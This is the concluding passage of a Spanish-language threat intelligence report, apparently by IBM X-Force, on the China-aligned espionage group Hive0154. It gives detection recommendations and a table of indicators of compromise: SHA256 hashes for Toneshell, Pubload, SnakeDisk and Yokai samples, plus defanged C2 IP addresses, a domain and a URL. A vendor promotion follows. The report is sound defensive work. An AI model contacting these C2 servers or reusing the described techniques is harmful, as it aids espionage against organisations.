Hive0154 sigue siendo un actor de amenazas altamente capaz con múltiples subclústeres activos y ciclos de desarrollo frecuentes. X-Force evalúa con gran confianza que los grupos alineados con China, como Hive0154, continuarán perfeccionando su gran arsenal de malware y se dirigirán a organizaciones públicas y privadas de todo el mundo. Es probable que el malware analizado en el informe anterior aún se encuentre en las primeras etapas de desarrollo, lo que permite a los defensores adoptar mecanismos de detección antes de su uso generalizado. Las entidades en riesgo de espionaje Hive0154 deben permanecer en un estado elevado de seguridad defensiva y permanecer alerta con respecto a las técnicas mencionadas en este informe y examinar las siguientes recomendaciones:

  • Tenga cuidado con los correos electrónicos o archivos PDF que contengan enlaces de descarga de Google Drive, Box nube almacenamiento o Dropbox
  • Ten cuidado con los archivos descargados, incluso si contienen documentos esperados. Capacite al personal para mostrar y reconocer extensiones de archivo inesperadas
  • Supervise y busque en redes paquetes de datos de aplicación TLS 1.2 (encabezado: 17 03 03) sin un protocolo de enlace TLS previo como señal de una baliza Pubload o Toneshell
  • Monitorice y busque memorias USB que contengan nombres ejecutables sospechosos, DLLs y directorios ocultos que puedan indicar un dispositivo infectado con un gusillo USB
  • Supervise y busque directorios sospechosos y desconocidos en C:\ProgramData\ que contengan un EXE legítimo vulnerable a la carga lateral de DLL y una DLL correspondiente
  • Supervise y busque técnicas de persistencia en el registro y las tareas programadas
  • Busque los procesos, el tráfico de red y los indicadores de compromiso (IoC) detallados en este informe.
  • Supervise cualquier actividad inusual de red, persistencia o modificación de archivos proveniente de ejecutables de procesos aparentemente benignos que descarguen una DLL maliciosa

Indicadores de compromiso

Indicador

Tipo de indicador

Contexto

F8B28CAE687BD55A148D363D58F1
3a797486f12221f0e0d080ffb53611
d54231

SHA256

Archivo armado que entrega Toneshell8

8132beeb25ce7baed0b561922d26
4b2a9852957df7b6a3daacfbb3a9
69485c79

SHA256

Archivo armado que entrega Toneshell8

d1466dca25e28f0b7fae71d5c2abc0
7b397037a9e674f38602690e96cc5
b2bd4

SHA256

Archivo armado que entrega Toneshell8

1272a0853651069ed4dc505007e85
25f99e1454f9e033bcc2e58d60fdaf
a4f02

SHA256

Archivo armado que entrega Toneshell8

b8c31b8d8af9e6eae15f30019e39c
52b1a53aa1c8b0c93c8d075254ed
10d8dfc 

SHA256

Archivo armado que entrega Toneshell7

7087e84f69c47910fd39c3869a70
6e55324783af8d03465a9e7bfde
52fe4d1d6 

SHA256

Archivo armado que entrega Pubload

38fcd10100f1bfd75f8dc0883b0c
2cb48321ef1c57906798a422f2a2
de17d50c 

SHA256

Archivo armado que entrega Pubload

69cb87b2d8ee50f46dae791b5a0
c5735a7554cc3c21bb1d989baa0f3
8c45085c

SHA256

PDF que contiene la URL de descarga para el archivo armaponizado

564a03763879aaed4da8a8c1d60
67f4112d8e13bb46c2f80e0fcb9ffd
d40384c

SHA256

Loader inyectando Toneshell7

e4bb60d899699fd84126f9fa0df
f72314610c56fffca3d11f3b6fc93fc
b75e00 

SHA256

Cargador inyectando Pubload

c2d1ff85e9bb8feb14fd015dcee1
66c2e52e226c07e23acc348815
c0eb4608 

SHA256

Cargador inyectando Pubload

188.208.141[.]196

ipv4

Servidor C2 de Pubload

bdbc936ddc9234385317c4ee83
bda087e389235c4a182736fc597
565042f7644

SHA256

Puerta trasera Toneshell8

f0fec3b271b83e23ed7965198f3b
00EECE45BD836BF10C038E99106
75bafefb1

SHA256

Puerta trasera Toneshell8

e7b29611c789a6225aebbc9fee37
10a57b51537693cb2ec16e2177c22
392b546

SHA256

Puerta trasera Toneshell8

9ca5b2cbc3677a5967c448d9d21
EB56956898ccd08c06b372c6471f
b68d37d7d

SHA256

Puerta trasera Toneshell8

146.70.29[.]229

ipv4

Servidor Toneshell7/Toneshell8 C2

318a1ebc0692d1d012d20d306
d6634b196cc387b1f4bc38f97d
d437F117c7E20

SHA256

Puerta trasera Toneshell9

0d632a8f6dd69566ad98db56
e53c8f16286a59ea2bea81c2761
d43b6ab4ecafd

SHA256

Archivo armado que entrega Toneshell9

39e7bbcceddd16f6c4f2fc2335a
50c534e182669cb5fa90cbe29e
49ec6dfd0df

SHA256

Archivo armado que entrega Toneshell9

05eb6a06b404b6340960d7a6
cf6b1293e706ce00d7cba9a8b7
2b3780298dc25d

SHA256

Loader que contiene la bifurcación Toneshell que sirvió como base para Toneshell9

123.253.34[.]44

ipv4

Servidor Toneshell9 C2

www.slickvpn[.]com

Dominio

Servidor Toneshell9 C2

dd694aaf44731da313e4594d
6ca34a6b8e0fcce505e39f827
3b9242fdf6220e0

SHA256

Gusano USB SnakeDisk

bb5bb82e5caf7d4dbbe878b7
5b23f793a5f3c5ca6dba70d8b
e447e8c004d26CE 

SHA256

Carga útil EXE benigna de SnakeDisk utilizada para la carga local de DLL Yokai

35bec1d8699d29c27b66e564
6e58d25ce85ea1e41481d048b
cea89EA94F8FB4B 

SHA256

DLL de puerta trasera de Yokai

http://118.174.183[.]89/kptinfo
/import/index.php

URL

Servidor Yokai C2

IBM® X-Force Premier Threat Intelligence ahora está integrado con OpenCTI by Filigran, brindando inteligencia de amenazas aplicable en la práctica sobre esta actividad de amenazas y más. Acceda a insights sobre actores de amenazas, malware y riesgos de la industria. Instale X-Force OpenCTI Connector para mejorar la detección y la respuesta, fortaleciendo su ciberseguridad con la experiencia de IBM X-Force. ¡Obtenga una prueba de 30 días de X-Force Premier Threat Intelligence hoy mismo!

Soluciones relacionadas
Servicios de gestión de amenazas

Predecir, prevenir y responder a las amenazas modernas, aumentando la resiliencia del negocio.

 

Explore los servicios de gestión de amenazas
Soluciones de detección y respuesta a amenazas

Utilice las soluciones de detección y respuesta a amenazas de IBM para fortalecer su seguridad y acelerar la detección de amenazas.

Explorar las soluciones de detección de amenazas
Soluciones de defensa contra amenazas móviles (MTD)

Proteja su entorno móvil con las soluciones integrales de defensa contra amenazas móviles de IBM MaaS360.

Explore las soluciones de defensa frente a amenazas móviles
Dé el siguiente paso

Obtenga soluciones integrales de administración de amenazas, protegiendo de manera experta su negocio contra ataques cibernéticos.

Explore los servicios de gestión de amenazas Reserve una sesión informativa centrada en las amenazas